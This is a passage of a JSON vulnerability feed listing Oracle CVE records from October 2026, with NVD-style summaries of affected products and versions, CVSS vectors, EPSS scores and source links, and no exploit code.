exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:17:58.760Z","updatedAt":"2026-10-21T14:29:49.513Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101495","asOf":"2026-10-21T14:29:49.513Z"},"epss":{"probability":0.00428,"percentile":0.36737,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101495&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101495","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101495","type":"primary","publishedAt":"2026-10-20T22:17:58.760Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101495&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101495, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101494","cveId":"CVE-2026-101494","aliases":[],"kind":"vulnerability","title":"Vulnerability in Oracle REST Data Services (component: Core).","summary":"Vulnerability in Oracle REST Data Services (component: Core).  Supported versions that are affected are 24.2.0-26.2.2. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle REST Data Services.  While the vulnerability is in Oracle REST Data Services, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle REST Data Services accessible data. CVSS 3.1 Base Score 7.7 (Confidentiality impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N).","detail":"Vulnerability in Oracle REST Data Services (component: Core).  Supported versions that are affected are 24.2.0-26.2.2. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle REST Data Services.  While the vulnerability is in Oracle REST Data Services, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle REST Data Services accessible data. CVSS 3.1 Base Score 7.7 (Confidentiality impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:17:58.650Z","updatedAt":"2026-10-21T14:29:49.513Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.7,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101494","asOf":"2026-10-21T14:29:49.513Z"},"epss":{"probability":0.00371,"percentile":0.30759,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101494&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101494","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101494","type":"primary","publishedAt":"2026-10-20T22:17:58.650Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101494&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101494, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101482","cveId":"CVE-2026-101482","aliases":[],"kind":"vulnerability","title":"Vulnerability in Oracle Secure Backup (component: Device Management and Support).","summary":"Vulnerability in Oracle Secure Backup (component: Device Management and Support).  Supported versions that are affected are 19.1.0.0.0 and   19.1.0.1.0. Easily exploitable vulnerability allows low privileged attacker with logon to the infrastructure where Oracle Secure Backup executes to compromise Oracle Secure Backup.  Successful attacks of this vulnerability can result in takeover of Oracle Secure Backup. CVSS 3.1 Base Score 7.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).","detail":"Vulnerability in Oracle Secure Backup (component: Device Management and Support).  Supported versions that are affected are 19.1.0.0.0 and   19.1.0.1.0. Easily exploitable vulnerability allows low privileged attacker with logon to the infrastructure where Oracle Secure Backup executes to compromise Oracle Secure Backup.  Successful attacks of this vulnerability can result in takeover of Oracle Secure Backup. CVSS 3.1 Base Score 7.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:17:57.283Z","updatedAt":"2026-10-23T12:18:05.860Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101482","asOf":"2026-10-23T12:18:05.860Z"},"epss":{"probability":0.00171,"percentile":0.0648,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101482&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101482","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101482","type":"primary","publishedAt":"2026-10-20T22:17:57.283Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101482&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101482, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101481","cveId":"CVE-2026-101481","aliases":[],"kind":"vulnerability","title":"Vulnerability in Oracle Secure Backup (component: Device Management and Support).","summary":"Vulnerability in Oracle Secure Backup (component: Device Management and Support).  Supported versions that are affected are 19.1.0.0.0 and   19.1.0.1.0. Easily exploitable vulnerability allows low privileged attacker with logon to the infrastructure where Oracle Secure Backup executes to compromise Oracle Secure Backup.  While the vulnerability is in Oracle Secure Backup, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in takeover of Oracle Secure Backup. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H).","detail":"Vulnerability in Oracle Secure Backup (component: Device Management and Support).  Supported versions that are affected are 19.1.0.0.0 and   19.1.0.1.0. Easily exploitable vulnerability allows low privileged attacker with logon to the infrastructure where Oracle Secure Backup executes to compromise Oracle Secure Backup.  While the vulnerability is in Oracle Secure Backup, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in takeover of Oracle Secure Backup. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:17:57.170Z","updatedAt":"2026-10-23T12:18:05.717Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101481","asOf":"2026-10-23T12:18:05.717Z"},"epss":{"probability":0.00171,"percentile":0.0648,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101481&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101481","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101481","type":"primary","publishedAt":"2026-10-20T22:17:57.170Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101481&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101481, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101479","cveId":"CVE-2026-101479","aliases":[],"kind":"vulnerability","title":"Vulnerability in Oracle Secure Backup (component: Backup and Restore).","summary":"Vulnerability in Oracle Secure Backup (component: Backup and Restore).  Supported versions that are affected are 19.1.0.0.0 and   19.1.0.1.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via TCP to compromise Oracle Secure Backup.  While the vulnerability is in Oracle Secure Backup, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Oracle Secure Backup. CVSS 3.1 Base Score 8.6 (Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H).","detail":"Vulnerability in Oracle Secure Backup (component: Backup and Restore).  Supported versions that are affected are 19.1.0.0.0 and   19.1.0.1.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via TCP to compromise Oracle Secure Backup.  While the vulnerability is in Oracle Secure Backup, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Oracle Secure Backup. CVSS 3.1 Base Score 8.6 (Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:17:56.950Z","updatedAt":"2026-10-21T14:29:49.513Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.6,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101479","asOf":"2026-10-21T14:29:49.513Z"},"epss":{"probability":0.0046,"percentile":0.39601,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101479&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101479","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101479","type":"primary","publishedAt":"2026-10-20T22:17:56.950Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101479&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101479, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101478","cveId":"CVE-2026-101478","aliases":[],"kind":"vulnerability","title":"Vulnerability in Oracle Autonomous Health Framework (component: Trace File Analyzer).","summary":"Vulnerability in Oracle Autonomous Health Framework (component: Trace File Analyzer).  Supported versions that are affected are 26.3-26.8. Easily exploitable vulnerability allows low privileged attacker with logon to the infrastructure where Oracle Autonomous Health Framework executes to compromise Oracle Autonomous Health Framework.  Successful attacks of this vulnerability can result in takeover of Oracle Autonomous Health Framework. CVSS 3.1 Base Score 7.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).","detail":"Vulnerability in Oracle Autonomous Health Framework (component: Trace File Analyzer).  Supported versions that are affected are 26.3-26.8. Easily exploitable vulnerability allows low privileged attacker with logon to the infrastructure where Oracle Autonomous Health Framework executes to compromise Oracle Autonomous Health Framework.  Successful attacks of this vulnerability can result in takeover of Oracle Autonomous Health Framework. CVSS 3.1 Base Score 7.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:17:56.840Z","updatedAt":"2026-10-21T14:29:49.513Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101478","asOf":"2026-10-21T14:29:49.513Z"},"epss":{"probability":0.00162,"percentile":0.05391,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101478&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101478","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101478","type":"primary","publishedAt":"2026-10-20T22:17:56.840Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101478&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101478, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101477","cveId":"CVE-2026-101477","aliases":[],"kind":"vulnerability","title":"Vulnerability in Oracle Autonomous Health Framework (component: Trace File Analyzer).","summary":"Vulnerability in Oracle Autonomous Health Framework (component: Trace File Analyzer).  Supported versions that are affected are 26.3-26.8. Easily exploitable vulnerability allows low privileged attacker with logon to the infrastructure where Oracle Autonomous Health Framework executes to compromise Oracle Autonomous Health Framework.  Successful attacks of this vulnerability can result in takeover of Oracle Autonomous Health Framework. CVSS 3.1 Base Score 7.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).","detail":"Vulnerability in Oracle Autonomous Health Framework (component: Trace File Analyzer).  Supported versions that are affected are 26.3-26.8. Easily exploitable vulnerability allows low privileged attacker with logon to the infrastructure where Oracle Autonomous Health Framework executes to compromise Oracle Autonomous Health Framework.  Successful attacks of this vulnerability can result in takeover of Oracle Autonomous Health Framework. CVSS 3.1 Base Score 7.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:17:56.730Z","updatedAt":"2026-10-21T14:29:49.513Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101477","asOf":"2026-10-21T14:29:49.513Z"},"epss":{"probability":0.00162,"percentile":0.0539,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101477&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101477","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101477","type":"primary","publishedAt":"2026-10-20T22:17:56.730Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101477&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101477, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101473","cveId":"CVE-2026-101473","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle Agile Product Lifecycle Management for Process product of Oracle Supply Chain (component: Product Quality Management).","summary":"Vulnerability in the Oracle Agile Product Lifecycle Management for Process product of Oracle Supply Chain (component: Product Quality Management).   The supported version that is affected is 6.2.4. Difficult to exploit vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Agile Product Lifecycle Management for Process.  Successful attacks of this vulnerability can result in takeover of Oracle Agile Product Lifecycle Management for Process. CVSS 3.1 Base Score 8.1 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H).","detail":"Vulnerability in the Oracle Agile Product Lifecycle Management for Process product of Oracle Supply Chain (component: Product Quality Management).   The supported version that is affected is 6.2.4. Difficult to exploit vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Agile Product Lifecycle Management for Process.  Successful attacks of this vulnerability can result in takeover of Oracle Agile Product Lifecycle Management for Process. CVSS 3.1 Base Score 8.1 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:17:56.273Z","updatedAt":"2026-10-21T14:29:49.513Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101473","asOf":"2026-10-21T14:29:49.513Z"},"epss":{"probability":0.00376,"percentile":0.31314,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101473&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101473","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101473","type":"primary","publishedAt":"2026-10-20T22:17:56.273Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101473&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101473, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101469","cveId":"CVE-2026-101469","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle Product Lifecycle Analytics product of Oracle Supply Chain (component: Installation Issues).","summary":"Vulnerability in the Oracle Product Lifecycle Analytics product of Oracle Supply Chain (component: Installation Issues).   The supported version that is affected is 3.6.1. Difficult to exploit vulnerability allows low privileged attacker with network access via SQL to compromise Oracle Product Lifecycle Analytics.  Successful attacks of this vulnerability can result in takeover of Oracle Product Lifecycle Analytics. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).","detail":"Vulnerability in the Oracle Product Lifecycle Analytics product of Oracle Supply Chain (component: Installation Issues).   The supported version that is affected is 3.6.1. Difficult to exploit vulnerability allows low privileged attacker with network access via SQL to compromise Oracle Product Lifecycle Analytics.  Successful attacks of this vulnerability can result in takeover of Oracle Product Lifecycle Analytics. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:17:55.820Z","updatedAt":"2026-10-21T18:17:22.077Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101469","asOf":"2026-10-21T18:17:22.077Z"},"epss":{"probability":0.00349,"percentile":0.28255,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101469&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101469","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101469","type":"primary","publishedAt":"2026-10-20T22:17:55.820Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101469&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101469, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101468","cveId":"CVE-2026-101468","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Siebel CRM Deployment product of Oracle Siebel CRM (component: Cloud Gateway).","summary":"Vulnerability in the Siebel CRM Deployment product of Oracle Siebel CRM (component: Cloud Gateway).  Supported versions that are affected are 17.0-26.9. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Siebel CRM Deployment.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Siebel CRM Deployment accessible data. CVSS 3.1 Base Score 7.5 (Confidentiality impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).","detail":"Vulnerability in the Siebel CRM Deployment product of Oracle Siebel CRM (component: Cloud Gateway).  Supported versions that are affected are 17.0-26.9. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Siebel CRM Deployment.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Siebel CRM Deployment accessible data. CVSS 3.1 Base Score 7.5 (Confidentiality impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:17:55.710Z","updatedAt":"2026-10-21T19:16:50.040Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101468","asOf":"2026-10-21T19:16:50.040Z"},"epss":{"probability":0.00443,"percentile":0.38268,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101468&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101468","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101468","type":"primary","publishedAt":"2026-10-20T22:17:55.710Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 